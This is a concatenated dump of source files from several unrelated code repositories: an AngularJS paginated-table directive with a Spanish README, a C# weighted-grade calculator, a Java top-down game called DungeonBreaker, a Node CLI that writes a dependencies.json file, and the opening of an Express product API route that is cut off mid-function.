PTColumnBuilder.newColumn('acciones', 'Acciones') //se agregará la directiva al <td> lo que permitirá personalizar la manera en que se presente la información .withDirective('registro-acciones') .notSortable() ]; ``` ### Vista Basta con incorporar dentro del HTML la siguiente directiva: ```html <pit-table ng-model="tabla" pt-columns="ptColumns" pt-params="ptParams"></pit-table> ``` ### Configuración Es posible realizar una configuración global usando el _provider_ **pitTableOptions**: ```javascript .config(function (pitTableOptionsProvider) { //asigna un tamaño de página a todas las tablas pitTableOptionsProvider.setPageSize(25); //asigna un radio de páginas que se mostrará debajo de la tabla pitTableOptionsProvider.setPageRadious(2); }) ``` ### Directivas Por defecto la '_angular-pit-table_' muestra la información que se indica en la configuración, si se desea hacer algo más complejo que lo que permite la opción '_withType_' del **PTColumnBuilder**, se deben usar directivas, tal como se indica en el siguiente ejemplo: ```javascript .directive('nombreDirectiva', function () { return { templateUrl: 'views/directives/nombre-directive.html', restrict: 'E', scope: { //donde se recibirá la información completa de la fila obtenida desde el backend rowData: '=' }, link: function postLink(scope, element, attrs) { console.log(scope.rowData); } }; }); ``` En el caso que se necesite pintar, una variable que esté dentro de un objeto de la lista ``` PTColumnBuilder.newColumn(['tipoPrestacion','nombre'], 'Tipo Prestación').withOrderColumns(['tipoPrestacion']), ``` <file_sep>'use strict'; angular.module('angular-pit-table.directive', ['angular-pit-table.factory', 'spring-data-rest']) .directive('pitTable', pitTable) .directive('pitTableHeaderCheckbox', pitTableHeaderCheckbox) .directive('pitTableRow', pitTableRow) .directive('pitTableRowEmpty', pitTableRowEmpty) .directive('pitTableCell', pitTableCell) .directive('pitTableCellDatetime', pitTableCellDatetime) .directive('pitTableCellBoolean', pitTableCellBoolean) .directive('pitTableCellCheckbox', pitTableCellCheckbox); function pitTable($http, SpringDataRestAdapter, pitTableOptions) { return { templateUrl: 'views/pit-table.html', restrict: 'E', require: 'ngModel', scope: { ptColumns: '=', ptParams: '=' }, link: function postLink(scope, element, attrs, ngModel) { scope.page = { number: 0, totalElements: 0, totalPages: 0 }; scope.pagination = []; scope.selectedC = []; scope.unSelectedC = []; scope.selectAll = false; scope.data = []; if (angular.isDefined(scope.ptParams.eventName)) { scope.$on(scope.ptParams.eventName, function () { scope.page.number = 0; scope.loadData(); }); } scope.updatePagination = function () { if (!scope.page) { return; } var actual = scope.page.number; var from = Math.max(0, actual - pitTableOptions.pageRadious); var to = Math.min(from + 2 * pitTableOptions.pageRadious, scope.page.totalPages - 1); from = Math.max(0, to - 2 * pitTableOptions.pageRadious); scope.pagination = [ { number: 0, text: '<<', disabled: actual == from }, { number: Math.max(actual - 1, 0), text: '<', disabled: actual == from } ]; for (var i = from; i <= to; i++) { scope.pagination.push( { number: i, text: i + 1, enable: true, selected: i === actual } ); } scope.pagination.push( { number: Math.min(actual + 1, to), text: '>', disabled: actual == to }); scope.pagination.push({ number: scope.page.totalPages - 1, text: '>>', disabled: actual == to } ); }; scope.updatePage = function (pag) { if (pag.disabled) { return; } scope.page.number = pag.number; scope.loadData(); }; scope.getSort = function () { var sort = null; angular.forEach(scope.ptColumns, function (ptColumn) { if (ptColumn.sort) { if (angular.isDefined(ptColumn.orderColumns)) { sort = { sort: [] }; for (var i = 0; i < ptColumn.orderColumns.length; i++) { sort.sort.push(ptColumn.orderColumns[i] + ',' + ptColumn.sort); } } else { sort = { sort: ptColumn.id + ',' + ptColumn.sort }; } } }); return sort; }; scope.loadData = function () { var sort = scope.getSort(); var object = { url: scope.ptParams.url, method: scope.ptParams.method }; if(scope.ptParams.isInBody){ object.data = scope.ptParams.params; object.params = angular.extend( { page: scope.page.number, size: pitTableOptions.pageSize }, sort); } else { object.params = angular.extend({}, scope.ptParams.params, { page: scope.page.number, size: pitTableOptions.pageSize }, sort ) } var httpPromise = $http(object); scope.$root.isLoading = true; scope.showLoading = true; SpringDataRestAdapter.process(httpPromise).then( function success(dtData) { if (angular.isDefined(dtData._embeddedItems)) { scope.page = { number: dtData.page.number, totalPages: dtData.page.totalPages, totalElements: dtData.page.totalElements }; scope.data = dtData._embeddedItems; } else { scope.page = { number: dtData.number, totalPages: dtData.totalPages, totalElements: dtData.totalElements }; scope.data = dtData.content; } if(scope.selectAll){ angular.forEach(scope.data, function (dt) { scope.$emit('updateDataCheckEvent', dt, scope.selectAll); }); } scope.$on('updateDataCheckEvent', function (event, data, flag) { var idx = scope.selectedC.indexOf(data.id); var idxUn = scope.unSelectedC.indexOf(data.id); if(flag) { if (idx== -1) scope.selectedC.push(data.id); scope.unSelectedC.splice(idxUn, 1); } else { delete scope.selectedC[idx]; scope.selectedC.length--; if (idxUn== -1) scope.unSelectedC.push(data.id); } scope.setSelected(); }); scope.$on('updatePaginationEvent', function (event, flag) { scope.selectAll = flag; scope.loadData(); }); ngModel.$setViewValue({ page: scope.page, data: scope.data, selectedC: scope.selectedC, unSelectedC: scope.unSelectedC, selectAll: scope.selectAll }); scope.updatePagination(); scope.setSelected(); scope.$root.isLoading = false; scope.showLoading = false; }, function error(response) { console.error('error al obtener la información', response); scope.$root.isLoading = false; scope.showLoading = false; } ); }; scope.setSelected = function() { angular.forEach(scope.selectedC, function (value) { angular.forEach(scope.data, function (dt) { if ( dt.id == value ){ dt.isCheck = true; } }); }); angular.forEach(scope.unSelectedC, function (value) { angular.forEach(scope.data, function (dt) { if ( dt.id == value ){ dt.isCheck = false; } }); }); }; scope.pagButClass = function (pag) { return { 'btn-primary': pag.selected, 'disabled': pag.disabled }; }; scope.thIconClass = function (column) { if (column.sortable) { return { 'fa-sort-desc': column.sort === 'desc', 'fa-sort-asc': column.sort === 'asc', 'fa-sort sortable': column.sortable }; } else { return {}; } }; scope.thClass = function (column) { return { 'sortable': column.sortable }; }; scope.columnOrder = function (selectedColumn) { if (!selectedColumn.sortable) { return; } angular.forEach(scope.ptColumns, function (ptColumn) { if (selectedColumn.id === ptColumn.id) { if (angular.isUndefined(ptColumn.sort)) { ptColumn.sort = 'asc'; } else if (ptColumn.sort === 'asc') { ptColumn.sort = 'desc'; } else { delete ptColumn.sort; } } else { delete ptColumn.sort; } }); scope.loadData(); }; if(!angular.isDefined(scope.ptParams.params.loadAtStart) || scope.ptParams.params.loadAtStart ==='true') { scope.loadData(); } } }; } function pitTableHeaderCheckbox() { return { template: '<input ng-if="isCheckBoxAll" type="checkbox" ng-model="selectAll" ng-click="selectedChange()">', restrict: 'E', scope: { ptColumns: '=', ptRowData: '=' }, link: function postLink(scope, element, attrs) { scope.isCheckBoxAll = scope.$parent.column.checkAll; scope.selectedChange = function () { scope.selectAll = !scope.selectAll; if ( angular.isDefined(scope.$parent.data) && scope.$parent.data.length ) { angular.forEach(scope.$parent.data, function (data) { scope.$emit('updateDataCheckEvent', data, scope.selectAll); }); } scope.$emit('updatePaginationEvent', scope.selectAll); }; } }; } function pitTableRow() { return { template: '<td ng-repeat="ptColumn in ptColumns" pit-table-cell pt-column="ptColumn" pt-row-data="ptRowData" ng-class="ptColumn.clazz"></td>', restrict: 'A', scope: { ptColumns: '=', ptRowData: '=' }, link: function postLink(scope, element, attrs) { } }; } function pitTableRowEmpty(pitTableOptions) { return { template: '<td colspan="{{ptColspan}}" class="text-center">{{emptyText}}</td>', restrict: 'A', scope: { ptColumns: '=' }, link: function postLink(scope, element, attrs) { scope.ptColspan = scope.ptColumns.length; scope.emptyText = pitTableOptions.emptyTableText; } }; } function pitTableCell($compile) { return { restrict: 'A', scope: { ptColumn: '=', ptRowData: '=' }, link: function postLink(scope, element, attrs) { var config = { 'datetime': 'pit-table-cell-datetime', 'boolean': 'pit-table-cell-boolean', 'checkbox': 'pit-table-cell-checkbox' }; if (scope.ptColumn.directive) { element.append($compile('<' + scope.ptColumn.directive + ' row-data="ptRowData"></' + scope.ptColumn.directive + '>')(scope)); } else if (angular.isDefined(config[scope.ptColumn.type])) { element.append($compile('<div class="' + config[scope.ptColumn.type] + '"></div>')(scope)); } else { if(scope.ptColumn.id.constructor === Array){ var data = scope.ptRowData; for (var i = 0; i < scope.ptColumn.id.length; i++) { data = data[scope.ptColumn.id[i]]; } element.text(data); }else { element.text(scope.ptRowData[scope.ptColumn.id]); } } } }; } function pitTableCellDatetime() { return { template: '<div ng-if="datetime">{{datetime | humanDate}} <small class="text-info">({{datetime | fromNow}})</small></div> <div ng-if="!datetime" class="text-center">-</div>', restrict: 'C', link: function postLink(scope, element, attrs) { scope.datetime = scope.ptRowData[scope.ptColumn.id]; } }; } function pitTableCellBoolean() { return { template: '<i class="fa" ng-class="{\'fa-check-square-o\': boolean, \'fa-square-o\': !boolean}"></i>', restrict: 'C', link: function postLink(scope, element, attrs) { scope.boolean = scope.ptRowData[scope.ptColumn.id]; } }; } function pitTableCellCheckbox() { return { template: '<span class="fa fa-square-o" ng-model="ischeck" ng-show="!ischeck" ng-click="approve()"></span>' + '<span class="fa fa-check-square-o" ng-if="ischeck" ng-click="noApprove()"></span>', restrict: 'C', link: function postLink(scope, element, attrs) { scope.ischeck = scope.ptRowData.isCheck ? scope.ptRowData.isCheck : false; scope.approve = function () { scope.ischeck = true; scope.$emit('updateDataCheckEvent', scope.ptRowData, true); }; scope.noApprove = function () { scope.ischeck = false; scope.$emit('updateDataCheckEvent', scope.ptRowData, false); }; } }; }
e2872757190741cdb338748e8917ef13411e7c91
[ "JavaScript", "Markdown" ]
4
JavaScript
patagonia-it/angular-pit-table
235710d49ff35b0aeaa930a6d9829d4f41b18d33
6c541b65a4680652b429fc7cd83da7dd446f983e
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace PPPratica4Exercicio8 { class Program { static void CalculaMedia(float nota1, float nota2, float pesoNota1) { float pesoNota2 = 1f - pesoNota1; nota1 *= pesoNota1; nota2 *= pesoNota2; string aprovacao = (nota1 + nota2) >= 5f ? "aprovado!" : "reprovado!"; Console.WriteLine("\nPeso da primeira nota {0:F1}\n" + "Peso da segunda nota {1:F1}\n" + "Primeira nota {2:F1}\n" + "Segunda nota {3:F1}\nMédia = {4:F1}\n" + "Você foi {5:F1}", pesoNota1, pesoNota2, nota1, nota2, nota1 + nota2, aprovacao); } static void Main(string[] args) { float pesoNota1, nota1, nota2; do { Console.WriteLine("Digite peso da primeira nota de O.O a 1.0: "); pesoNota1 = float.Parse(Console.ReadLine()); } while (pesoNota1 < 0f || pesoNota1 > 1f); do { Console.WriteLine("Digite o valor da primeira nota de 0.0 a 10.0:"); nota1 = float.Parse(Console.ReadLine()); } while (nota1 < 0f || nota1 > 10f); do { Console.WriteLine("Digite o valor da segunda nota de 0.0 a 10.0:"); nota2 = float.Parse(Console.ReadLine()); } while (nota2 < 0f || nota2 > 10f); CalculaMedia(nota1, nota2, pesoNota1); Console.ReadKey(); } } }
b73672664044f265a1f1467affb46ead63e8eaba
[ "C#" ]
1
C#
robsoncorreia/PPPratica4Exercicio8
efba1ba4fb9c22a19edac31c5788129c39ac9a4a
56ae67c3dd5b6f4f909a02ba1d52c30d4ddd78ef
refs/heads/master
<file_sep>package world; import java.util.Calendar; import java.util.Date; import game.Checked; /** * A separated Thread for calling the Tick-method of the World */ @Checked(true) public class Ticker implements Runnable { /** * Ticks per second */ @Checked(true) double TPS; /** * as long as this boolean is 'true' the Tick-Thread is running */ @Checked(true) boolean active; /** * Instance which's Tick-method should be called */ @Checked(true) World Target; /** * Starts the Tick-Thread */ @Checked(true) public void start() { if (!active) { active = true; new Thread(this).start(); } } /** * Stops the Tick-Thread */ public void stop() { active = false; } /** * * <b>Constructor</b> * * @param TPS * Ticks per second ( how often the Tick-method of the World * should be called per second) * @param Target * World, which's Tick-method should be called */ @Checked(true) public Ticker(double TPS, World Target) { this.TPS = TPS; this.Target = Target; } /** * * <b>Basic GameLoop (TickLoop)</b> * * @author ExarnCun */ @Checked(true) @Override public void run() { Date a = Calendar.getInstance().getTime(); Date b = Calendar.getInstance().getTime(); double TargetTimeout = 1000 / TPS; double Timeout = 0; while (active) { Target.Tick(); if (Timeout > 0) { try { Thread.sleep((long) Timeout); } catch (InterruptedException e) { } } if (Timeout <= 0) { // TODO: Add information about skipped Ticks } while (Timeout <= 0) { Target.Tick(); Timeout += TargetTimeout; } b = Calendar.getInstance().getTime(); Timeout += TargetTimeout + a.getTime() - b.getTime(); a = Calendar.getInstance().getTime(); } } }<file_sep>package game.Item; import java.awt.Point; import game.entity.Entity; import game.interfaces.Renderable; import game.world.GameWorld; import maths.Rectangle; public abstract class Sword extends Item implements Renderable { /** * damage of the sword */ public double damage; /** * how strong the weapon is against blocks */ public int breakLevel; @Override public void StartUseing(GameWorld world, Object user, Object[] args) { Rectangle hitbounds = getHitBounds(world, user, args); for (Object o : world.getObjects(hitbounds)) { if (o instanceof Entity && !o.equals(user)) { ((Entity) o).HitByItem(world, user, this, damage); } } for (Point p : world.getBlocks(hitbounds)) { world.region.Blocks[p.x][p.y].OnItemUse(world, user, this); if (world.region.Blocks[p.x][p.y].breakLevel <= breakLevel) { world.region.Blocks[p.x][p.y].OnBreak(world, user, this); world.region.Blocks[p.x][p.y] = null; } } } /** * * @param world * the world this item belongs to * @param user * the object that used the item * @param args * additional parameters; can be 'null' * @return the bounds of the hit-box */ public abstract Rectangle getHitBounds(GameWorld world, Object user, Object[] args); } <file_sep>package game.entity; import java.awt.Dimension; import java.awt.Graphics2D; import java.awt.Point; import java.awt.image.BufferedImage; import java.util.ArrayList; import java.util.List; import game.Checked; import game.Item.Item; import game.interfaces.Collisionable; import game.interfaces.Renderable; import game.interfaces.Tickable; import game.world.GameWorld; import game.world.Region; import maths.Dimension2f; import maths.Point2f; import maths.Rectangle; /** * * A entity is like a block, but it is not fixed to a specific index.<br> * 'every "living thing" in the game should be an entity (like monsters, * players, etc.)' * */ public abstract class Entity implements Renderable, Collisionable, Tickable { /** * direction where the entity is looking (in degrees) <br> * 0 = up * 90 = right; * 180 = down; * 270 = left; * */ public float Looking; /** * Items the entity has */ public List<Item> Items = new ArrayList<Item>(); /** * * <b>Constructor</b> * * @param location * Location of the entity * @param size * Size of the entity */ public Entity(Point2f location, Dimension2f size) { Location = location; Size = size; } /** * how many health-points the entity has */ public double HP; /** * Texture of the Entity */ @Checked(true) public BufferedImage Texture; /** * Location of the Entity<br> * THIS LOCATION IS NOT THE LOCATION IN PIXELS, THE PIXEL LOCATION IS * CALCULATED LIKE THIS: * {@code PixelLocation = new Point((int)(Location.X * BlockSize),(int)(Location.Y * BlockSize))} */ @Checked(true) public Point2f Location; /** * Size of the Entity<br> * THIS DIMENSION IS NOT THE DIMENSION IN PIXELS, THE PIXEL DIMENSION IS * CALCULATED LIKE THIS: * {@code PixelDimension = new Dimension((int)(Size.Width * BlockSize),(int)(Size.Height * BlockSize))} */ @Checked(true) public Dimension2f Size; /** * * Calculates the location on screen * * @param r * the Region this Entity belongs to * @return the Location on screen */ @Checked(true) public Point LocationOnScreen(Region r) { return new Point((int) (Location.X * r.BlockSize), (int) (Location.Y * r.BlockSize)); } /** * * Calculates the Size on screen * * @param r * the Region this Entity belongs to * @return the Size on screen */ @Checked(true) public Dimension SizeOnScreen(Region r) { return new Dimension((int) (Size.Width * r.BlockSize), (int) (Size.Height * r.BlockSize)); } /** * * Invoked when entity gets hit by an item * * @param world * The world this entity belongs to * @param sender * The object using the item * @param item * The item used * @param damage * ammount of damage caused to this entity */ public void HitByItem(GameWorld world, Object sender, Item item, double damage) { HP -= damage; onHit(world, sender, item, damage); // TODO: add kill condition etc. } @Override public void Tick(GameWorld world, Object[] args) { for (Item i : Items) { i.Tick(world, args); } } /** * Renders the entity onto the next frame */ @Override public void Render(Graphics2D g, GameWorld world, Object[] args) { g.drawImage(Texture, LocationOnScreen(world.region).x, LocationOnScreen(world.region).y, SizeOnScreen(world.region).width, SizeOnScreen(world.region).height, null); } /** * returns the bounds of this entity */ @Override public Rectangle getCollisionBounds() { return new Rectangle(Location, Size); } /** * * moves an entity * * @param x * how far the entity should move horizontally * @param y * how far the entity should move vertically * @param world * The world the entity belongs to * @param args * additional parameters; can be 'null' * @return whether the entity moved or not */ public boolean move(float x, float y, GameWorld world, Object[] args) { if (world.collision(new Rectangle(new Point2f(Location.X + x, Location.Y + y), Size)) <= 1) { Location = new Point2f(Location.X + x, Location.Y + y); return true; } return false; } /** * Invoked when entity is hit by an item */ public abstract void onHit(GameWorld world, Object sender, Item item, double damage); } <file_sep>package image; import java.awt.image.BufferedImage; import javax.imageio.ImageIO; /** * Used to load images from the image package (src/image)<br> * Images must be provided as portable network graphics ( = .png) */ public class ImageLoader { /** * * Loads an image from the image package (src/image) * * @param Name * Name of the image file (without .png) * @return The image */ public static BufferedImage LoadImage(String Name) { try { return ImageIO.read(ImageLoader.class.getResourceAsStream(Name + ".png")); } catch (Exception e) { return new BufferedImage(1, 1, BufferedImage.TYPE_3BYTE_BGR); } } } <file_sep>package game.world; import game.block.Block; /** * * A region is a collection of Blocks<br> * A region has a fixed size * * @author ExarnCun * */ public class Region { /** * width and height of the Region */ public int Width, Height; /** * Size of a Block in pixels (used for rendering) */ public int BlockSize; /** * a 2-dimensional Array of blocks.<br> * The 1st index is the X-Coordinate of the block in the Region, the 2nd * index is the Y-Coordinate of the block.<b> (if you imagine the screen as * grid, where one unit the {@link BlockSize} starting in the upper-left * corner of your screen, increasing its X-Coordinate to the right and the * Y-Coordinate to the bottom.)<br> * An undefined {@link Block} can be 'null' */ public Block[][] Blocks; } <file_sep>package game.world.regions; import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import game.world.Region; /** * Saves a region to a file or to a resource */ public class RegionSaver { /** * * Saves a region to a resource (src/game.world.regions) * * @param region * The region to save * @param Name * The name of the region (without '.reg') */ public static void SaveRegionToRessource(Region region, String Name) { try { String dir = RegionSaver.class.getResource("/").getFile(); OutputStream os = new FileOutputStream(dir + Name + ".reg"); SaveObject(os, region); } catch (Exception e) { // TODO: Handle Exception } } /** * * Saves a region to a file * * @param region * The region to save * @param Path * The Path of the file */ public static void SaveRegionToFile(Region region, String Path) { SaveObject(Path, region); } /** * Saves an Object to a OutputStream * * @param O * The OutputStream * @param data * The Object to save */ public static void SaveObject(OutputStream O, Object data) { try { ObjectOutputStream oos = new ObjectOutputStream(O); oos.writeObject(data); oos.close(); O.close(); } catch (Exception e) { // TODO: handle exception } } /** * Saves an Object to a file * * @param path * The path of the file * @param data * The Object to save */ public static void SaveObject(String path, Object data) { try { FileOutputStream fos = new FileOutputStream(new File(path)); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(data); oos.close(); fos.close(); } catch (Exception e) { // TODO: handle exception } } } <file_sep>package game.interfaces; import game.world.GameWorld; import maths.Rectangle; /** * * A Collisionable collides with other Collisionables * */ public interface Collisionable { /** * * @return the bounds of the Collisionable (if the bounds of two or more * collisionables intersect the * {@link #onCollide(GameWorld, Object, Object[]) onCollide-method} * is invoked) */ public Rectangle getCollisionBounds(); /** * * if the bounds of two or more Collisionables intersect this method is * invoked * * @param world * The GameWorld this collisionable belongs to * @param collider * The Object colliding with this collisionable * @param args * additional parameters; can be 'null' */ public void onCollide(GameWorld world, Object collider, Object[] args); } <file_sep>package game.test; import game.Checked; import game.Item.Item; import game.block.Block; import game.interfaces.Tickable; import game.world.GameWorld; import image.ImageLoader; import maths.Point2f; public class TestBlock extends Block implements Tickable { public TestBlock(int x, int y) { Texture = ImageLoader.LoadImage("1"); Location = new Point2f(x, y); breakLevel = 0; } @Override public void OnEnter(GameWorld world, Object entity) { // TODO Auto-generated method stub } @Override public void OnItemUse(GameWorld world, Object entity, Item item) { } @Checked(true) @Override public void Tick(GameWorld world, Object[] params) { } @Override public void OnBreak(GameWorld world, Object entity, Item item) { } } <file_sep> # DungeonBreaker 2D Top-down Itembased game As this game is still in early development nothing really works yet! this game uses jnativehook for input events : https://github.com/kwhat/jnativehook to add Jnativehook library in eclipse : 1. right-click project 2. click 'properties' 3. click 'Java Build Path' 3.1 goto 'Librarys'-tab (if not alredy there) 4. click 'Add External JARs...' 5. browse to this projects folder 6. select 'jnativehook-2.0.3.jar' (name might be slightly different) 7. press 'OK' Maybe the library is alredy added as I tryed to make it's path abstract, but i don't know whether that worked or not.<file_sep>package game.block; import java.awt.Dimension; import java.awt.Graphics2D; import java.awt.Point; import java.awt.image.BufferedImage; import game.Checked; import game.Item.Item; import game.interfaces.Renderable; import game.world.GameWorld; import game.world.Region; import maths.Dimension2f; import maths.Point2f; import maths.Rectangle; /** * * A block is a object, that can be rendered by a {@link GameWorld} and has some * specific events.<br> * Every "dead" visible object, that is not an overlay should be a Block.<br> * You can also implement some methods in addition to extending the Block so you * get even more features! * * @author ExarnCun * */ public abstract class Block implements Renderable { /** * how strong an item must be to break this block */ public int breakLevel = 1; /** * Texture of the Block */ @Checked(true) public BufferedImage Texture; /** * Whether entities collide (can't go through) this block or not */ public boolean hasCollision = true; /** * Location of the Block<br> * THIS LOCATION IS NOT THE LOCATION IN PIXELS, THE PIXEL LOCATION IS * CALCULATED LIKE THIS: * {@code PixelLocation = new Point((int)(Location.X * BlockSize),(int)(Location.Y * BlockSize))} */ @Checked(true) public Point2f Location; /** * Size of the Block<br> * THIS DIMENSION IS NOT THE DIMENSION IN PIXELS, THE PIXEL DIMENSION IS * CALCULATED LIKE THIS: * {@code PixelDimension = new Dimension((int)(Size.Width * BlockSize),(int)(Size.Height * BlockSize))} */ public Dimension2f Size = new Dimension2f(1, 1); /** * * Calculates the location on screen * * @param r * the Region this Block belongs to * @return the Location on screen */ @Checked(true) public Point LocationOnScreen(Region r) { return new Point((int) (Location.X * r.BlockSize), (int) (Location.Y * r.BlockSize)); } /** * * Calculates the Size on screen * * @param r * the Region this Block belongs to * @return the Size on screen */ @Checked(true) public Dimension SizeOnScreen(Region r) { return new Dimension((int) (Size.Width * r.BlockSize), (int) (Size.Height * r.BlockSize)); } @Checked(true) @Override public void Render(Graphics2D g, GameWorld world, Object[] args) { g.drawImage(Texture, LocationOnScreen(world.region).x, LocationOnScreen(world.region).y, SizeOnScreen(world.region).width, SizeOnScreen(world.region).height, null); } /** * @return the bounds of this block */ public Rectangle getBounds() { return new Rectangle(Location, Size); } // TODO: add stuff // Abstract methods /** * * Invoked, when a Entity collides with this block, or enters it. * * @param world * The world this block belongs to * @param collider * The object which entered ( / collided with) this block */ public abstract void OnEnter(GameWorld world, Object collider); /** * * Invoked, when a item is used on this block * * @param world * The world this block belongs to * @param entity * The object which holds the item * @param item * The item used on this block */ public abstract void OnItemUse(GameWorld world, Object entity, Item item); /** * * Invoked, when this block breaks * * @param world * The world this block belongs to * @param entity * The object which holds the item * @param item * The item used to break this block */ public abstract void OnBreak(GameWorld world, Object entity, Item item); } <file_sep>package game.interfaces; import java.awt.Graphics2D; import game.Checked; import game.world.GameWorld; /** * Every Renderable has a Render-method */ public interface Renderable { /** * The Render-method * * @param g * The Graphics of the next frame * @param world * The World that invoked this method * @param params * Additional parameters; can be 'null' */ @Checked(true) public void Render(Graphics2D g, GameWorld world, Object[] params); } <file_sep>package game.test; import java.awt.Color; import java.awt.Dimension; import java.awt.Graphics2D; import java.awt.Point; import java.util.Calendar; import java.util.Date; import game.Item.Sword; import game.entity.Entity; import game.world.GameWorld; import maths.Dimension2f; import maths.Point2f; import maths.Rectangle; public class TestSword extends Sword{ public TestSword(){ breakLevel = 1; } int cooldown; Date Time; @Override public void Render(Graphics2D g, GameWorld world, Object[] params) { if(RenderBounds != null && cooldown > 30){ UpdateBounds(world, User, params); g.setColor(Color.red); g.drawLine((int)RenderBounds.Location.X, (int)RenderBounds.Location.Y,(int)RenderBounds.Location.X + (int)RenderBounds.Size.Width, (int)RenderBounds.Location.Y + (int)RenderBounds.Size.Height); } } Rectangle RenderBounds; @Override public void StartUseing(GameWorld world, Object user, Object[] args) { super.StartUseing(world, user, args); cooldown = 45; Time = Calendar.getInstance().getTime(); } @Override public void Tick(GameWorld world, Object[] args){ timeout -= timeout > 0 ? 1 : 0; cooldown -= cooldown > 0 ? 1 : 0; if(cooldown == 0 && itemUsed){ itemUsed = false; EndUseing(world, User, args); } } @Override public Rectangle getHitBounds(GameWorld world, Object user, Object[] args) { if(timeout == 0){ timeout = 30; } return UpdateBounds(world, user, args).withDivide(world.region.BlockSize); } Rectangle UpdateBounds(GameWorld world, Object user, Object[] args){ if(user instanceof Entity){ Entity entity = (Entity)user; float looking = entity.Looking; Point location = entity.LocationOnScreen(world.region); Dimension size = entity.SizeOnScreen(world.region); while(looking >= 360){ looking -= 360; } double Y = Math.cos(Math.toRadians(looking)) * 40; //40 is lenght of the sword double X = Math.pow(Math.pow(40, 2) - Math.pow(Y, 2), 0.5); //a² + b² = c² -> b = (c² - a²)^0.5 //calculate starting point of hitbox Point2f StartingPoint; float temp = 1; if(looking < 90){ StartingPoint = new Point2f(location.x + size.width / 2, location.y); temp = -1; } else if(looking < 180){ StartingPoint = new Point2f(location.x + size.width, location.y + size.height / 2); } else if(looking < 270){ StartingPoint = new Point2f(location.x + size.width / 2, location.y + size.height); temp = -1; } else { StartingPoint = new Point2f(location.x, location.y + size.height / 2); temp = -1; } RenderBounds = new Rectangle(StartingPoint, new Dimension2f(temp * (float)X, temp * (float)Y)); RenderBounds.normalize(); return RenderBounds; } return null; } @Override public boolean canItemBeUsed(GameWorld world, Object user, Object[] args) { return cooldown == 0; } @Override public void UseItemTick(GameWorld world, Object user, Object[] args) { timeout -= timeout > 0 ? 1 : 0; } @Override public void EndUseing(GameWorld world, Object user, Object[] args) { if(cooldown == 0){ } } }
2638b0200bfec5b46cd183fe49b15f57fe925e53
[ "Markdown", "Java" ]
12
Java
ExarnCun/DungeonBreaker
5a996b706b8df308d5c8d05c67519c58ddf90125
116c0354726098400bf19bf4662a9db4e1b09edd
refs/heads/master
<repo_name>PatrikLythell/dependent<file_sep>/dependent.js #! /usr/bin/env node //Dependencies var fs = require('fs'); init = function() { //terminal output colours! //via http://roguejs.com/2011-11-30/console-colors-in-node-js/ var red, blue, reset; red = '\u001b[31m'; blue = '\u001b[34m'; reset = '\u001b[0m'; var home = process.env.PWD + '/node_modules/'; var dependencies = {}; var installedDeps = []; //init reading dirs in node_modules fs.readdir(home, function(err, data) { var counter = 0; if (err) { throw err; } data.forEach(function(folder){ isDirectory(folder, function(){ counter++; if (counter === data.length) { getNameAndVersion(installedDeps); } }); }); }); //Function to see if this is a dir isDirectory = function(item, callback) { fs.stat(home + item, function(err, stats) { if (err) { throw err; } //Fix for ignoring dirs such as ./bin dotCheck = item.slice(0,1) if (stats.isDirectory() && dotCheck !== '.') { installedDeps.push(home + item); } return callback(); }); }; //parent function for reading package.json getNameAndVersion = function(modules) { var counter = 0; modules.forEach(function(module){ readPackage(module, function(){ counter++; if (counter === modules.length) { writeDependencies(dependencies); } }); }); }; //function for reading package.json from modules readPackage = function(item, callback) { var data, name, version; data = require(item + '/package.json'); name = data.name; version = data.version; dependencies[name] = version; return callback(); }; //Writing depencies.json to PWD writeDependencies = function(object) { fs.writeFile(process.env.PWD + '/dependencies.json', JSON.stringify(object, null, 2) + ',', 'utf-8', function(err, data) { if (err) { console.log(red + "Something went wrong!" + reset); } return console.log(blue + "Created dependencies.json " + reset + "in " + blue + process.env.PWD + reset); }); }; } //If user has put in a value after 'dependent' show help or version, otherwise initiate dependent var userArgs = process.argv.slice(2); var userInput = userArgs[0]; if (userInput) { var input = userInput.toLowerCase(); if ( input === '-v' || input === '--version' ) { console.log('v0.0.1'); } else { console.log("-> " + red + "Dependent " + reset + "-" + red + " v0.0.1" + reset); console.log("-> To upgrade to latest version: npm update dependent -g"); console.log(""); console.log("-> USAGE: 'dependent'"); console.log(""); console.log("-> BASIC USAGE"); console.log("---> Run dependent in your working directory and a dependencies.json will be"); console.log("---> created of all your node_modules."); console.log(""); console.log("-> any feedback, help or issues, please report them on"); console.log("Github: https://github.com/patriklythell/dependent/"); console.log(""); process.exit(1); } } else { init(); }<file_sep>/README.md # Dependent Lazy dependency script for lazy developers compiling your node modules to a depencies.json ## Requirements Node JS and NPM installed. Only been tested in MacOSX (hey it's for lazy developers by a lazy developer, what can I say?) ## Installation Global install through NPM ``` npm install -g dependent ``` or ``` sudo npm install -g dependent ``` ## Usage After installing globally run 'dependent' in your working dir. This will look up what node modules can be found inside node_modules and compile them into a dependencies.json in your working dir. Copy and paste into your package.json. ## Changelog ##### 0.0.1 * Initial Release
fcb852c43927610b99ea3bb1886030f49e25b8e3
[ "JavaScript", "Markdown" ]
2
JavaScript
PatrikLythell/dependent
fcd6dfd85f420aba8bfd9e5eda843ecf39a56347
dd57fc8bc840011e4f28ea63a22d6885c78c0016
refs/heads/master
<file_sep>const express = require('express'); const { verificaToken } = require('../middlewares/autenticacion'); const Producto = require('../models/producto'); const _ = require('underscore'); let app = express(); app.get('/producto', verificaToken, (req, res) => { let desde = Number(req.query.desde || 0); let limit = Number(req.query.limite || 5); Producto.find({ disponible: true }) .skip(desde) .limit(limit) .sort('nombre') .populate('usuario', 'nombre email') .populate('categoria', 'descripcion') .exec((err, productosDB) => { if (err) { return res.status(500).json({ ok: false, err }); } Producto.countDocuments({ disponible: true }, (err, cantidad) => { if (err) { return res.status(500).json({ ok: false, err }) }; res.json({ ok: true, productos: productosDB, cantidad }) }) }); }) app.get('/producto/:id', verificaToken, (req, res) => { let id = req.params.id; Producto.findById(id) .populate('usuario', 'nombre email') .populate('categoria', 'descripcion') .exec((err, productoDB) => { if (err) { return res.status(500).json({ ok: false, err }) } if (!productoDB) { return res.json({ ok: false, err: { message: 'Producto no encontrado' } }) } res.json({ ok: true, producto: productoDB }) }); }) app.get('/producto/buscar/:palabra', verificaToken, (req, res) => { let palabra = req.params.palabra; let regex = new RegExp(palabra, 'i'); Producto.find({ nombre: regex }) .populate('categoria', 'descripcion') .exec((err, productoDB) => { if 